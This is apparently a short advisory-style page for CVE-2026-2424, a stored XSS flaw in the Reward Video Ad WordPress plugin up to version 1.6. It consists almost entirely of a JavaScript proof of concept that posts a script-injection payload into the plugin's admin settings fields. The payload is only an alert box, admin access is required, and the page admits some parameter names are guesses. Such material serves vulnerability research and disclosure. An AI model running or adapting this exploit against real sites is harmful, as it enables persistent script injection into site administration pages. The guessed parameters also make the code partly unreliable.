CVE-2026-2424: WordPress Reward Video Ad插件存储型XSS漏洞

<!-- PoC for CVE-2026-2424 Stored XSS --> <!-- Target: Reward Video Ad for WordPress <= 1.6 --> <!-- Preconditions: Administrator access required --> <script> // Function to simulate the XSS payload injection function exploit() { // Malicious payload to be stored var payload = '"><script>alert(1)<\/script>'; // The vulnerable parameter based on the description (e.g., message before video) var params = new URLSearchParams(); params.append('action', 'save_settings'); params.append('applixir_message_before_video', payload); // Example parameter name params.append('account_id', payload); // Sending the request to the WordPress admin interface fetch('/wp-admin/admin.php?page=reward-video-ad-settings', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: params }).then(response => { console.log('Payload injected. Visit the settings page to trigger XSS.'); }); } // Note: This must be executed in the context of the WP Admin dashboard exploit(); </script>